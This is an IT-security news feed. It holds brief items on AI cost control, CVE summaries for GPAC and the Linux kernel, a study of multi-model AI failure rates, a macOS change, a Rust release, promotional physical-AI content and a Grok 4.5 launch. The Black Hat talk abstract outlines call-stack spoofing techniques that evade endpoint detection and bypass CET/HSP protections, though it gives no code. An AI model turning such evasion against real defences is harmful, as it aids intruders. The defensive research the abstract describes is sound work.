<p>The emerging best practice is to match model capability to task requirements. A simple classification task doesn’t need a frontier model. A straightforward text-generation job might be handled perfectly by a smaller, cheaper model running locally or via a less expensive API tier. The efficiency gains from this approach can be substantial.</p>



<p>Some enterprises are going further, adopting older models or open source alternatives for appropriate use cases. Qualcomm, for instance, has invested in running models on its own hardware rather than relying exclusively on cloud-based model providers. This approach requires more technical sophistication but can dramatically reduce per-token costs for high-volume applications.</p>



<h2 class="wp-block-heading">The real challenge</h2>



<p>Here’s what concerns me most about the current situation. Many enterprises deployed <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">AI</a> without putting adequate cost management infrastructure in place up front. They got caught up in the excitement of the technology, the competitive pressure to move fast, and the belief that the benefits would justify whatever the costs turned out to be. That approach worked when AI projects were small-scale experiments. Now that AI is becoming core to business operations, the lack of financial controls is becoming a serious problem. We need to bring the same rigor to AI procurement and deployment that we’ve brought to every other significant technology investment.</p>



<p>The organizations that succeed will treat AI token costs as a managed operational expense rather than an unpredictable variable. That means deploying the same tools and disciplines that have worked for cloud cost management: visibility, accountability, optimization, and continuous improvement.</p>



<p>Cloud providers and the managed service partners who work with them have been doing this for years. They built the tools, developed the best practices, and trained the workforce that can now apply those skills to the AI cost challenge. If your organization is struggling with AI spending, finding partners with deep finops experience might be the fastest path to control.</p>



<p>The good news is that this crisis is solvable. But it requires acknowledging the problem, investing in the right capabilities, and accepting that technology deployment without financial discipline is a path to trouble.</p>



<p>Get smart about your AI spending. The CFO will thank you.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[CVE-2026-15185 | GPAC 26.03-DEV MP4Box vobsub.c vobsub_read_idx num_langs out-of-bounds (Issue 3611 / Nessus ID 326089)]]></title>
<description><![CDATA[A vulnerability was found in GPAC 26.03-DEV. It has been declared as problematic. This affects the function vobsub_read_idx of the file /src/media_tools/vobsub.c of the component MP4Box. Executing a manipulation of the argument num_langs can lead to out-of-bounds read.

This vulnerability is regi...]]></description>
<link>https://tsecurity.de/de/3659031/sicherheitsluecken/cve-2026-15185-gpac-2603-dev-mp4box-vobsubc-vobsubreadidx-numlangs-out-of-bounds-issue-3611-nessus-id-326089/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659031/sicherheitsluecken/cve-2026-15185-gpac-2603-dev-mp4box-vobsubc-vobsubreadidx-numlangs-out-of-bounds-issue-3611-nessus-id-326089/</guid>
<pubDate>Fri, 10 Jul 2026 09:53:53 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/gpac">GPAC 26.03-DEV</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects the function <code>vobsub_read_idx</code> of the file <em>/src/media_tools/vobsub.c</em> of the component <em>MP4Box</em>. Executing a manipulation of the argument <em>num_langs</em> can lead to out-of-bounds read.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-15185">CVE-2026-15185</a>. The attack needs to be launched locally. Furthermore, an exploit is available.

It is best practice to apply a patch to resolve this issue.

Two different commits were applied to fix this issue.]]></content:encoded>
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<title><![CDATA[CVE-2022-3169 | Linux Kernel Device nvme_dev_ioctl denial of service (Bug 214771 / EUVD-2022-42591)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in Linux Kernel. Affected is the function nvme_dev_ioctl of the component Device Handler. Executing a manipulation can lead to denial of service.

The identification of this vulnerability is CVE-2022-3169. The attack needs to be done ...]]></description>
<link>https://tsecurity.de/de/3658589/sicherheitsluecken/cve-2022-3169-linux-kernel-device-nvmedevioctl-denial-of-service-bug-214771-euvd-2022-42591/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658589/sicherheitsluecken/cve-2022-3169-linux-kernel-device-nvmedevioctl-denial-of-service-bug-214771-euvd-2022-42591/</guid>
<pubDate>Fri, 10 Jul 2026 05:05:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel</a>. Affected is the function <code>nvme_dev_ioctl</code> of the component <em>Device Handler</em>. Executing a manipulation can lead to denial of service.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2022-3169">CVE-2022-3169</a>. The attack needs to be done within the local network. There is no exploit available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Remember when I posted about my trap for bots hitting 10 million loads on here? Well it's 50 million now.]]></title>
<description><![CDATA[submitted by    /u/Glade_Art   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3658142/linux-tipps/remember-when-i-posted-about-my-trap-for-bots-hitting-10-million-loads-on-here-well-its-50-million-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658142/linux-tipps/remember-when-i-posted-about-my-trap-for-bots-hitting-10-million-loads-on-here-well-its-50-million-now/</guid>
<pubDate>Thu, 09 Jul 2026 22:10:07 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/Glade_Art"> /u/Glade_Art </a> <br> <span><a href="https://gladeart.com/blog/dead-internet-theory-is-real-50-million-bots-trapped-in-my-bot-pit">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1urwzux/remember_when_i_posted_about_my_trap_for_bots/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Enterprises using multiple AI models are underestimating failure rates by 2.25x]]></title>
<description><![CDATA[A team routing queries across a coding specialist, a logic specialist, and a generalist model assumes each will cover the others' blind spots. A new study evaluating 67 frontier models from 21 providers shows that assumption is mathematically flawed — and the flaw has a name: the co-failure ceili...]]></description>
<link>https://tsecurity.de/de/3658055/it-nachrichten/enterprises-using-multiple-ai-models-are-underestimating-failure-rates-by-225x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658055/it-nachrichten/enterprises-using-multiple-ai-models-are-underestimating-failure-rates-by-225x/</guid>
<pubDate>Thu, 09 Jul 2026 21:02:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A team routing queries across a coding specialist, a logic specialist, and a generalist model assumes each will cover the others' blind spots. <a href="https://arxiv.org/abs/2606.27288">A new study</a> evaluating 67 frontier models from 21 providers shows that assumption is mathematically flawed — and the flaw has a name: the co-failure ceiling.</p><p>The assumption works like this: as long as two models don't usually fail on the exact same prompts, combining them is supposed to create a safety net against failures.</p><p>The real limit on orchestration is not how often models disagree, but the percentage of prompts where every model in the pool gives the wrong answer at once. By ignoring the co-failure ceiling, enterprises are building complex, expensive routing infrastructure to chase performance gains that do not exist. Fortunately, developers can use this same math to build a cost-free test that determines exactly when multi-model orchestration will actually pay off.</p><h2>The hidden costs of the multi-model strategy</h2><p>To orchestrate multiple language models, developers typically rely on three architectures. <a href="https://venturebeat.com/technology/new-1-5b-router-model-achieves-93-accuracy-without-costly-retraining">Model routers</a> act as traffic cops, sending complex queries to expensive models and simple queries to cheaper ones. Cascades send every prompt to a cheap model first, only escalating to a premium model if the initial system signals low confidence. Finally, approaches like <a href="https://bdtechtalks.com/2025/02/17/llm-ensembels-mixture-of-agents/">Mixture-of-Agents</a> (MoA) fuse multiple models by asking them the same question and generating a synthesized answer from their combined outputs.</p><p>These architectures introduce a "shadow price" to inference costs. Every time a development team implements a router or a cascade, they pay a premium in added system latency, complex infrastructure maintenance, and increased governance risks across multiple API providers.</p><p>To justify these operational costs, engineers rely on “pairwise error correlation” to select their model pool. Imagine a developer has Model A, which writes excellent Python but fails at SQL, and Model B, which writes excellent SQL but fails at Python. Because they fail on different types of prompts, their pairwise error correlation is low. The developer assumes that by placing a routing layer in front of them, they have created a composite system that rarely fails at coding.</p><p>According to the study, throwing diverse models together based on low correlation can actually hurt performance if the models are not equally capable — when you vote across diverse but unequal models, the weaker ones often gang up and outvote the smartest one.</p><p>Josef Chen, author of the paper, told VentureBeat that in their experiments, "Naive majority voting across unequal models had negative mean gain (minus 10 points on our hard mix): diverse-but-weaker members outvote the strong one." The actionable advice for developers is to "combine only models within a matched quality band." If you cannot match quality, take the single-model baseline and spend your budget on the best model available.</p><p>The paper provides one bright spot for this approach regarding MoA architectures. When building ensembles, teams often use "Self-MoA," where they query the same premium model multiple times to generate a synthesized answer. The researchers found that at matched quality, building a diverse ensemble of models with low pairwise correlation beats a high-correlation Self-MoA setup.</p><p>However, when teams use that same pairwise correlation metric to predict the absolute accuracy of their overall system, the math breaks down.</p><p>"So teams pay the orchestration overhead up front (latency, complexity, multi-provider operations) on the assumption that a diversity dividend arrives later," Chen said. "Usually it doesn't, because today's best models agree, and, worse, they fail on the same queries … the prompt simply carries little signal about which model will be the one that's right when the frontier disagrees."</p><h2>Why the math fails: the co-failure ceiling</h2><p>The core finding of the study centers on a metric called the "co-failure rate" — the formal name for the all-wrong scenario described above. No router, voting system, or cascade can ever achieve an accuracy higher than the ceiling it imposes.</p><p>The coding, logic, and generalist pool shows low pairwise correlation on routine prompts — they rarely fail together. But the co-failure ceiling represents the obscure, highly complex edge case that pushes past the limits of current AI architectures. If a prompt is so difficult that all three models hallucinate or fail, it does not matter how intelligently the router distributes the task. The entire pool wipes out at once.</p><p>The researchers tested their 67-model pool, which included GPT-5.5, Claude Opus 4.8, and Gemini 3.1 Pro, on the open-ended MATH-500 math benchmark. Based on standard pairwise correlation, statistical models predicted that the entire pool would wipe out simultaneously on only 2.3% of the questions. In reality, the co-failure rate was 5.2%.</p><p>Standard correlation metrics underestimated the failure rate by roughly 2.25 times. The culprit is not just independent difficulty, but a shared failure point.</p><p>"The driver is what we call a common-mode atom: a slice of queries on which the entire market fails together, which no pairwise statistic can see," Chen said. "Adding a 20th model to your pool doesn't buy tail coverage. The tail is shared."</p><p>The researchers also found that task format directly triggers co-failure. When they took graduate-level science questions from the GPQA benchmark and changed them from multiple-choice to free-response formats, the all-wrong tail expanded to 12.7%.</p><p>Developers can engineer around the ceiling, though. "The engineering implication is uncomfortable: multi-model setups buy the least exactly where teams want them most, on open-ended generation," Chen said. "Anywhere you can convert generation into verification or constrained selection (structured outputs, checkable answers, execution tests), you reopen the ceiling."</p><p>Ultimately, the researchers found this ceiling limits AI applications in two distinct ways, depending on the domain:</p><ul><li><p><b>Ceiling-bound environments (e.g., open-ended math):</b> The co-failure rate is high. The task is too hard, and all models fail simultaneously. No amount of routing can bypass the lack of underlying capability.</p></li><li><p><b>Realizability-bound environments (e.g., graduate-level science):</b> The co-failure rate is near zero, meaning at least one model in the pool usually knows the answer. However, the models disagree so subtly that a routing layer cannot reliably pick the correct answer without an omniscient oracle.</p></li></ul><h2>The $0 pre-deployment sanity check</h2><p>Before dedicating engineering hours to building a router, teams can calculate their absolute performance ceiling for free using a mathematical formula called a Clopper-Pearson bound.</p><p>The Clopper-Pearson bound operates as a worst-case scenario calculator. If you flip a coin ten times and get eight heads, you cannot guarantee the coin will land on heads 80% of the time forever. The bound takes a small sample of test questions and outputs a mathematically guaranteed ceiling.</p><p>Applied to language models, suppose a team tests a pool of five agents on 50 sample queries and finds they all fail together on just two questions. A developer might assume their multi-agent system will achieve 96% accuracy in production. The Clopper-Pearson formula corrects this optimism. It analyzes the small sample size and provides a mathematical guarantee that the true co-failure rate could actually be as high as 12%.</p><p>To use this in practice, enterprises must build a held-out dataset. A fintech company, for example, could take 200 complex customer support tickets from the previous quarter and have human agents write perfect resolutions to serve as a benchmark. While this sounds like a heavy manual project, mature engineering teams can automate the entire ceiling calculation.</p><p>"Integration is trivial: it's a counting job over eval logs teams already produce," Chen notes, "so it runs in the same CI stage as the eval suite and re-triggers whenever the model pool or the workload changes."</p><p>The engineering team then runs its candidate models against these 200 tickets once and records the results. When they want to evaluate multi-model configurations, they can use the co-failure rate measure to predict the maximum accuracy they can get from the system without running extra queries.</p><p>One important conclusion the study draws is that on tasks where answers can be definitively checked, combining models rarely beats using the single best model on the market, unless the team possesses an exceptionally strong query-level routing signal.</p><p>In an enterprise environment, a definitively checked task has an objective, zero-tolerance answer. This includes generating a SQL query that must execute without error, extracting a specific invoice total from a 50-page PDF, or formatting a JSON payload that perfectly matches a strict schema. For these tasks, enterprises are usually better off paying a premium for the smartest frontier model rather than weaving together three cheaper models and hoping a router picks the correct output. The study didn't test subjective, ungraded tasks like drafting marketing copy — the authors note that whether these findings hold outside their verifiable benchmarks remains an open question.</p><p>Because this mathematical check is free, enterprise teams can track their own co-failure rates as new models drop.</p><p>"The measurement costs nothing, so any team can track its own co-failure rate across model generations and watch whether the tail is closing," says Chen. Ultimately, "the lever buyers hold is failure-mode heterogeneity and market churn, not model count."</p>]]></content:encoded>
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<title><![CDATA[macOS 28 Will Drop Support For Encrypted Mac OS Extended Volumes]]></title>
<description><![CDATA[Starting with macOS 28, Apple will no longer support encrypted Mac OS Extended, or HFS+, volumes. Users will need to decrypt them or reformat them as APFS to keep using them. 9to5Mac reports: In a new support document, Apple explains that starting with macOS 28, "the Mac OS Extended file system f...]]></description>
<link>https://tsecurity.de/de/3657804/it-security-nachrichten/macos-28-will-drop-support-for-encrypted-mac-os-extended-volumes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657804/it-security-nachrichten/macos-28-will-drop-support-for-encrypted-mac-os-extended-volumes/</guid>
<pubDate>Thu, 09 Jul 2026 19:07:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Starting with macOS 28, Apple will no longer support encrypted Mac OS Extended, or HFS+, volumes. Users will need to decrypt them or reformat them as APFS to keep using them. 9to5Mac reports: In a new support document, Apple explains that starting with macOS 28, "the Mac OS Extended file system format will be supported only for volumes (disks and other storage devices) that aren't encrypted." In practice, this means users who currently rely on encrypted HFS+ external drives or other encrypted legacy Mac-formatted volumes will need to "either decrypt or reformat any encrypted Mac OS Extended volumes."
 
Apple doesn't explain the reason for the change. Still, the move appears to be another step in Apple's transition to APFS, its file system with built-in encryption support, which replaced Mac OS Extended as the default Mac file system in macOS High Sierra. As a result of this change, Apple says that starting with macOS 26, Macs might notify users when they're using an encrypted Mac OS Extended disk that won't be compatible with macOS 28 or later.
 
According to the support page, "the notification will identify the volume by name." However, Apple says users can manually confirm whether a volume is both using Mac OS Extended format and encrypted by following these steps [...]. Apple adds that "macOS 28 and later will continue to support unencrypted volumes that use Mac OS Extended format," and notes "Mac OS Extended is also known as HFS Plus (or HFS+)."<p></p><div class="share_submission">
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</div><p><a href="https://hardware.slashdot.org/story/26/07/09/1641225/macos-28-will-drop-support-for-encrypted-mac-os-extended-volumes?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Black Hat Europe 2025 | Ghost In The Stack: Evolving Call Stack Spoofing In A Post-CET Era]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 2x - Views:23 Stack spoofing is a sophisticated technique that manipulates a thread's call stack so that code execution appears to originate from a different, benign location. In 2023, with StackMoonwalk, we presented a novel approach to this that slipped through co...]]></description>
<link>https://tsecurity.de/de/3657461/it-security-video/black-hat-europe-2025-ghost-in-the-stack-evolving-call-stack-spoofing-in-a-post-cet-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657461/it-security-video/black-hat-europe-2025-ghost-in-the-stack-evolving-call-stack-spoofing-in-a-post-cet-era/</guid>
<pubDate>Thu, 09 Jul 2026 17:03:07 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 2x - Views:23 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/tOVcScKuJvU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Stack spoofing is a sophisticated technique that manipulates a thread's call stack so that code execution appears to originate from a different, benign location. In 2023, with StackMoonwalk, we presented a novel approach to this that slipped through common stack-based detection logic. Since then, we've watched defenders build on that research to expand telemetry and design more robust detectors. At the same time, we've seen increased adoption of hardware-backed mitigations (HSP|CET), which could offer another source of truth to spot this technique. Two years later, we asked ourselves whether it was finally time for stack spoofing to die. Well... it wasn't.<br />
<br />
The talk begins in today's non-HSP environments, exploring modern detection frameworks built on call stack analysis and showing how fragile assumptions make them easy to bypass in practice. As proof, we introduce a new technique based on Moonwalk and a new primitive, proxy frames, to exploit these gaps. However, as clever as these methods are, their ROP-based primitives are welcomed by a crash the moment HSP/CET comes into play.<br />
<br />
This pushed our research back to square one: could stack spoofing be rebuilt to survive CET enforcement? The result is the first known CET-compliant stack spoofing framework (BYOUD), delivered in three functional variants across distinct execution architectures. We first demonstrate how the framework can alter call stack resolution without triggering CP exceptions and then introduce the State-Driven Indirect Execution Architecture (SDIE), which takes the concept further to achieve a full HSP bypass.<br />
<br />
We will conclude our talk by outlining the key lessons learned throughout this research: why overreliance on any single, emerging mitigation is dangerous, and how fragile design assumptions in detection logic can turn into blind spots. We will also provide concrete strategies and countermeasures so defenders can build stronger, more resilient detection capable of catching the presented techniques.<br />
<br />
By: Alessandro Magnosi  |  Senior Security Consultant, SpecterOps<br />
<br />
https://blackhat.com/eu-25/briefings/schedule/?#ghost-in-the-stack-evolving-call-stack-spoofing-in-a-post-cet-era-48965<br/></p>]]></content:encoded>
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<title><![CDATA[Rust 1.97.0 released]]></title>
<description><![CDATA[Version
1.97.0 of the Rust programming language has been released.  Changes
include using a new symbol-mangling scheme by default, support for denying
warnings in Cargo, and an end to the practice of hiding the linker's output
after a successful build.]]></description>
<link>https://tsecurity.de/de/3657185/linux-tipps/rust-1970-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657185/linux-tipps/rust-1970-released/</guid>
<pubDate>Thu, 09 Jul 2026 15:25:49 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/">Version
1.97.0</a> of the Rust programming language has been released.  Changes
include using a new symbol-mangling scheme by default, support for denying
warnings in Cargo, and an end to the practice of hiding the linker's output
after a successful build.]]></content:encoded>
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<title><![CDATA[CVE-2022-3113 | Linux Kernel up to 5.16-rc6 mtk_vcodec_fw_vpu.c mtk_vcodec_fw_vpu_init null pointer dereference (EUVD-2022-42540)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Linux Kernel up to 5.16-rc6. The impacted element is the function mtk_vcodec_fw_vpu_init of the file drivers/media/platform/mtk-vcodec/mtk_vcodec_fw_vpu.c. The manipulation results in null pointer dereference.

This vulnerability was named CV...]]></description>
<link>https://tsecurity.de/de/3657181/sicherheitsluecken/cve-2022-3113-linux-kernel-up-to-516-rc6-mtkvcodecfwvpuc-mtkvcodecfwvpuinit-null-pointer-dereference-euvd-2022-42540/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657181/sicherheitsluecken/cve-2022-3113-linux-kernel-up-to-516-rc6-mtkvcodecfwvpuc-mtkvcodecfwvpuinit-null-pointer-dereference-euvd-2022-42540/</guid>
<pubDate>Thu, 09 Jul 2026 15:25:03 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel up to 5.16-rc6</a>. The impacted element is the function <code>mtk_vcodec_fw_vpu_init</code> of the file <em>drivers/media/platform/mtk-vcodec/mtk_vcodec_fw_vpu.c</em>. The manipulation results in null pointer dereference.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2022-3113">CVE-2022-3113</a>. The attack needs to be approached within the local network. There is no available exploit.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Physical AI will see the fusion of robotics and AI transform the world]]></title>
<description><![CDATA[Historically, humans have solved their toughest tasks by creating tools capable of withstanding greater strain to undertake the job or augment their abilities. From levers to steam engines and beyond, the structural evolution of machines is almost as remarkable as their ability to improve operati...]]></description>
<link>https://tsecurity.de/de/3656811/it-nachrichten/physical-ai-will-see-the-fusion-of-robotics-and-ai-transform-the-world/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656811/it-nachrichten/physical-ai-will-see-the-fusion-of-robotics-and-ai-transform-the-world/</guid>
<pubDate>Thu, 09 Jul 2026 13:17:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Historically, humans have solved their toughest tasks by creating tools capable of withstanding greater strain to undertake the job or augment their abilities. From levers to steam engines and beyond, the structural evolution of machines is almost as remarkable as their ability to improve operational cultures.</p>



<p>In recent times, we have seen machines attain their highest structural complexity, productivity, and best aesthetics yet. The most relevant new technologies today focus on creating high-throughput physical machines and software that ‘thinks’, and, more futuristically, a fusion of both.</p>



<h2 class="wp-block-heading">From moving machines to intelligent humanoids</h2>



<p>Evolving from ‘moving machines’ capable of handling repetitive tasks to intelligent machines is a century-long goal for robotics. The rapid growth in this sector over the past half-decade, with a <a href="https://www.mordorintelligence.com/industry-reports/robotics-market" target="_blank" rel="noreferrer noopener">$218 billion projection for 2031</a>, is driven by expectations that advancements in AI will extend to robotics and expedite the development of intelligent robots.</p>



<p>Current prototypes are robots capable of taking initiatives or executing tasks more efficiently with less supervision. These have been applied in agriculture, industrial-grade production, and healthcare.</p>



<p>Humanoid robots have attracted the most attention due to the excitement around their potential as near-human machines and the signals their development sends for the future of human-machine coexistence.</p>



<p>Tech leaders around the world are contributing to advancing physical AI with optimism about the impact of robotics on humanity.</p>



<p>Physical AI is a department of artificial intelligence specializing in developing AI algorithms and models for locomotive systems. This includes every kind of robot and, at a more advanced level, humans.</p>



<p>Recent developments in this field include <a href="https://x.com/Figure_robot/status/2059350969700491632" target="_blank" rel="noreferrer noopener">Figure AI’s humanoid robot deployments</a> and Tether’s investment in the <a href="https://tether.io/news/tether-to-lead-neura-robotics-series-c-financing-one-of-the-largest-up-to-1-4bn-robotics-physical-ai-investment-rounds-on-record-to-power-the-financial-and-intelligence-layer/" target="_blank" rel="noreferrer noopener">NEURA</a>, leading the fundraising of up to $1.4 billion in one of the largest robotics and physical AI investment rounds on record.</p>



<p>Physical AI researchers are exploring future-proof strategies to develop intelligent, safe humanoid robots that can collaborate with humans, undertake humanly impossible tasks, and handle routine tasks more efficiently.</p>



<p>The strongest case for AI-powered humanoid robots is that they complement human power. A <a href="https://reports.weforum.org/docs/WEF_Physical_AI_Powering_the_New_Age_of_Industrial_Operations_2025.pdf" target="_blank" rel="noreferrer noopener">World Economic Forum (WEF)</a> report projects shifts in work roles. Humanoid robots increase the workforce, take over repetitive, strenuous, and boring roles, allowing humans to pursue more interesting career paths.</p>



<p>This way, superintelligent humanoid robots will lead sector-wide transformations beyond current imagination and uniquely transform the world.</p>



<p>In theory, it creates the ideal conditions for an improved global economy and a higher quality of life. This theory is challenged by the dystopian vision of a machine-dominated world in which humans become less relevant. However, history suggests otherwise. Every major wave of automation, from the industrial revolution to the rise of computers, initially sparked fears of human redundancy. Yet each ultimately created more opportunities than it eliminated.</p>



<h2 class="wp-block-heading">Super-human advancements with physical AI</h2>



<p>In ideal operations, physical AI will serve as a lever for humans as well. While progress in robotics is loudest, efforts to directly augment human abilities with physical AI are also yielding remarkable results. Brain-computer interfaces can now <a href="https://techcrunch.com/sponsor/tether/tether-is-setting-the-standards-forbrain-to-text-speech-decoding-withai-augmented-bci-implants/" target="_blank" rel="noreferrer noopener">accurately decode speech in paralyzed and speech-impaired</a> individuals through intracortical implants that detect brain activity. And this is only a ‘start’. Projections from leaders in this space give insight into the trajectory of this technology.</p>



<p>In a recent <a href="https://www.youtube.com/watch?v=rKZ3LPLF2-A" target="_blank" rel="noreferrer noopener">fireside chat</a> with NEURA Robotics CEO and founder David Reger, Tether CEO Paolo Ardoino noted, <em>“the evolution of robotics that Neura is making is going to allow testing and building of a framework[…] where the real impact is in the real world. Everything starts digital, but to see the true potential, we will see robots roaming the streets, helping people, and being part of society. It has to happen safely, it has to be transparent.”</em></p>



<p>Physical AI products designed for direct human integration are being developed differently, with a focus on ergonomics, a minimalist aesthetic, and performance. <a href="https://tether.io/evo/" target="_blank" rel="noreferrer noopener">EVO</a>, Tether’s arm leading the charge for human advancement through intelligent technologies, also shared plans for non-invasive implants that maintain high productivity and offer greater composability.</p>



<p>Technologies like these will allow humans to leverage high-level physical AI technologies to attain the same technical abilities as humanoid robots and outperform them by combining machine and raw human intelligence.</p>



<h2 class="wp-block-heading">AI robotics in non-user-controlled infrastructures</h2>



<p>Resource efficiency, data sovereignty, and surveillance are some of the biggest ethical considerations of Physical AI after safety and responsibility. The infrastructure line-up for Software and Physical AI relies heavily on managed systems, blurring the lines of control and governance.</p>



<p>Who is really in charge? The end user, developer, or proprietors of the centralized infrastructure that powers the product? The result is a product with multiple points of failure, disruptions, and most importantly, operational risks.</p>



<p>Physical AI solutions will be used by billions of people worldwide; they should therefore not be built on limited, slow, and centralized infrastructures. This necessitates localized or truly decentralized AI solutions. Local-first AI solutions like <a href="https://qvac.tether.io/" target="_blank" rel="noreferrer noopener">Tether’s QVAC</a> also prioritize resource efficiency, since users are expected to provide the core infrastructure. QVAC is a modular, highly efficient, local-first AI platform that runs anywhere. Tether regards it as the invisible intelligence engine of the 21st century.</p>



<h2 class="wp-block-heading">Open-sourcing and aligning intelligent robots for co-existence with humans</h2>



<p>Yann LeCun, Chief AI scientist at Meta, <a href="https://observer.com/2025/07/metas-yann-lecun-defends-open-source-a-i-amid-geopolitical-tension/" target="_blank" rel="noreferrer noopener">notes</a> that open-sourcing AI development is the answer to the most pressing ethical challenges of AI applications. According to LeCun:</p>



<p><em>“The magic of open research is that you accelerate progress by involving more people[…] the biggest danger of AI isn’t ‘bad behavior’ […] It’s that every digital interaction in our future will be mediated by AI. In that world, diverse open-source systems let users choose their own biases.”</em></p>



<p>Open-sourced (systemic decentralization) and local-first (Infrastructural decentralization) solutions are the only path to developing ethically aligned Physical AI capable of co-existing with humans as intended. A successful physical AI solution is expected to tick the check boxes of safety, resource efficiency, true user control, and tamper-proofness. To do this, it must embrace transparent development procedures and function without gatekeepers.</p>



<p></p>



<p><strong>Learn how </strong><a href="https://tether.io/evo/" target="_blank" rel="noreferrer noopener"><strong>Tether EVO</strong></a><strong> is building resilient technology built on fairness, inclusivity, and systems with zero points of failure.</strong></p>
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<title><![CDATA[SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals]]></title>
<description><![CDATA[SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.



In a statement, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is bui...]]></description>
<link>https://tsecurity.de/de/3656700/ai-nachrichten/spacexai-launches-grok-45-touts-lower-coding-task-costs-than-ai-rivals/</link>
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<pubDate>Thu, 09 Jul 2026 12:33:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.</p>



<p>In a <a href="https://x.ai/news/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is built for coding and agentic work, runs at 80 tokens per second, and uses fewer tokens than comparable models on some software engineering tasks.</p>



<p>Grok 4.5 is available through the SpaceXAI console and Grok Build. It is also available in Cursor, the AI coding tool made by Anysphere, giving SpaceXAI a route into a development environment already used by programmers rather than only competing through an API. SpaceXAI said EU availability is expected in mid-July.</p>



<p>In June, SpaceX, which owns SpaceXAI, said it was <a href="https://www.infoworld.com/article/4185844/spacexs-planned-60-billion-deal-for-cursor-raises-questions-for-cios.html" target="_blank">buying Anysphere</a>, the startup behind Cursor, in a deal aimed at strengthening its position in enterprise AI tools. In a separate <a href="https://cursor.com/blog/grok-4-5" target="_blank" rel="noreferrer noopener">statement</a>, Cursor said that Grok 4.5 was trained jointly with SpaceXAI and used trillions of tokens of Cursor data, including user interactions with codebases and software tools.</p>



<p>The launch addresses a growing realization among enterprise engineering teams that <a href="https://www.infoworld.com/article/4189176/ai-coding-token-costs-are-on-track-to-rival-human-payroll-2.html">AI coding agents can become expensive</a> once they move beyond simple prompts.</p>



<p>“Enterprises are hitting a wall with AI ROI,” said <a href="https://www.linkedin.com/in/meetneilshah/" target="_blank" rel="noreferrer noopener">Neil Shah</a>, vice president for research at Counterpoint Research. “The massive token consumption required by autonomous agents and coding is causing bill shocks, turning AI adoption into an expensive, one-way street.”</p>



<h2 class="wp-block-heading">AI coding at half the cost</h2>



<p>On <a href="https://artificialanalysis.ai/articles/grok-4-5-brings-spacexai-to-the-the-intelligence-frontier" target="_blank" rel="noreferrer noopener">Artificial Analysis’</a> Coding Agent Index, Grok 4.5 in Grok Build finished below Fable 5 in Claude Code and roughly level with GPT-5.5 in Codex. It estimated Grok 4.5’s cost at $2.49 per task, compared with $5.07 for GPT-5.5 in Codex and $11.80 for Fable 5 in Claude Code.</p>



<p>The figures give SpaceXAI a useful proof point, though analysts said companies will still need to test the model on their own codebases before relying on it widely.</p>



